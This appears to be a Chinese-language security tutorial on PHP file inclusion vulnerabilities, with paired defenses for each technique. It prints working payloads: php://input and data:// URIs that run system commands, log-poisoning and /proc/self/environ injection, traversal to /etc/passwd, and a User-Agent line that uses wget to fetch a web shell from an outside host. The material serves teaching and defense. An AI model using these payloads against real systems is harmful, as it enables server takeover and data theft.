0%

文件包含

关于文件包含的一些知识

文件包含原理

文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。

要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件:

  1. Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;
  2. 用户能够控制该动态变量。

文件包含分类

1.本地文件包含

包含服务器本身存在的恶意文件
a.txt

1
<?php phpinfo();?>

​ b.php

1
2
3
4
<?php
$b=$_GET['id'];
include($b);
?>

​ payload

1
localhost/b.php?id=a.txt //返回phpinfo页面

注:

  • 两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)
  • 被包含的页面的后缀无论是什么都会当做PHP解析

2.远程文件包含

包含其他网站上的恶意文件

远程文件包含利用条件:

  • 在php.ini中allow_url_fopen=on、allow_url_include=on
  • allow_url_fopen = On (允许打开URL文件,预设启用)
    allow_url_fopen = Off (禁止打开URL文件)
    allow_url_include = Off (禁止引用URL文件,新版增加功能,预设关闭)
    allow_url_include = On (允许引用URL文件,新版增加功能)

payload

1
localhost/b.php?id=http://ip/文件路径

注:

​ 远程包含的文件路径必须是绝对路径

常见的存在文件包含的脚本语言以及函数

1.php

1
2
3
include():执行到include函数时才文件包含,找不到被包含的文件路径时,发出警告,脚本继续运行
require():只要程序一运行就进行文件包含,找不到被包含的文件路径时,产生致命错误,脚本停止运行
include_once()与require():与上述函数一样,只是若文件中代码已经被包含则不会再次包含

2.jsp/servlet

1
2
ava.io.file()
java.io.filereader()

3.asp

1
2
include file
include virtual

各个协议如何实现命令执行

1.%00截断

1
2
1.是否需要截断是根据包含函数后有没有对包含的文件进行拼接一个后缀,如果有就需要使用%00进行截断
2.当php版本<=5.2使用%00截断

2.file://:用于访问本地文件系统

1
2
3
4
1.条件(php.ini):
allow_url_fopen off/on
allow_url_include off/on
2.使用方法:file://[文件的绝对路径和文件名]

3.php://:访问各个输入输出流

1
2
3
4
5
6
7
8
9
10
11
12
php伪协议:
php://filter:用于读取源码并进行bash64编码输出;
条件(php.ini):
allow_url_fope off/on
allow_url_include off/on
php://input:可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;
条件(php.ini):
allow_url_fope off/on
allow_url_include on
php://stdin是只读的,php://stdout 和 php://stderr 是只写的。
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://fd 允许直接访问指定的文件描述符。

4.zip://,bzip://,zlib://:均属于压缩流,可以访问压缩文件中的子文件,不需要传后缀名

1
2
3
4
5
6
7
8
9
条件:
allow_url_fope off/on
allow_url_include off/on
zip://使用方法:
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
bzip2://使用方法:
bzip2://file.bz2
zlib://使用方法:
zlib://file.gz

5.data://

1
2
3
条件:
allow_url_fope on
allow_url_include on

20180112100157518 (889×328)

6.phar://:数据流包装器

对文件包含的利用

1.包含上传文件

1
2
3
4
5
用户上传了一个可执行文件,通过文件包含那个文件实现漏洞利用
防御:
做好上传限制
隐藏好文件路径
设置访问权限、执行权限

2.伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
例:
http://localhost/include/file.php?file=php://input //URL
<?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?> //POST,创建一个文件a.php;并写入phpinfo
data://:将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
例:
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令
http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
例:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword //可以跟绝对路径也可以跟相对路径
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径
防御:
尽量使用安全版本的php
做好php的安全配置
对相应目录做相应权限设置

3.包含日志文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、日志的默认路径
/etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux
D:xamppapachelogsaccess.log或D:xamppapachelogserror.log //apache_win2003
C:WINDOWSsystem32Logfiles //iis6.0+win2003
%SystemDrive%inetpublogsLogFiles //iis7.0+win2003
nginx 日志文件在用户安装目录的logs目录下
2、web中间件默认配置uoh文件
/etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux
C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003
C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win
3、利用
访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:
http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开)
4、防御
隐藏或修改默认日志文件
设置日志文件读取权限

4.包含/proc/self/environ

1
2
3
4
5
6
7
8
9
10
11
1、找文件包含漏洞
www.aaa.com/view.php?page=../
www.aaa.com/view.php?page=../../../../../etc/passwd
2、检查proc/self/environ是否可以访问
www.aaa.com/view.php?page=../../../../../proc/self/environ
3、如果可读就注入代码
访问:www.aaa.com/view.php?page=../../../../../proc/self/environ
选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?> //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.
4、访问shell
5、防御:
设置proc/self/environ不可访问

5.包含Session文件

1
?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2         //读取session文件

常见的绕过与防御

1.%00截断

1
2
3
4
说明:
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
防御:
禁用0字节

2.超长字符截断

1
2
3
4
5
6
利用:
利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
而利用"./"的方式即可构造出超长目录字符串
防御:
限制用户输入字符长度

3.任意目录遍历

1
2
3
4
5
利用:
使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)
防御:
目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)

4.问号截断

1
2
3
4
利用:
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
防御:
关闭远程文件包含的配置选项allow_url_include = Off

5.防御总结

1
2
3
4
5
6
7
8
1、无需情况下设置allow_url_include和allow_url_fopen为关闭
2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
3、尽量不使用动态包含
4、严格检查变量是否已经初始化。
5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
6、严格检查include类的文件包含函数中的参数是否外界可控。
7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
8、在发布应用程序之前测试所有已知的威胁。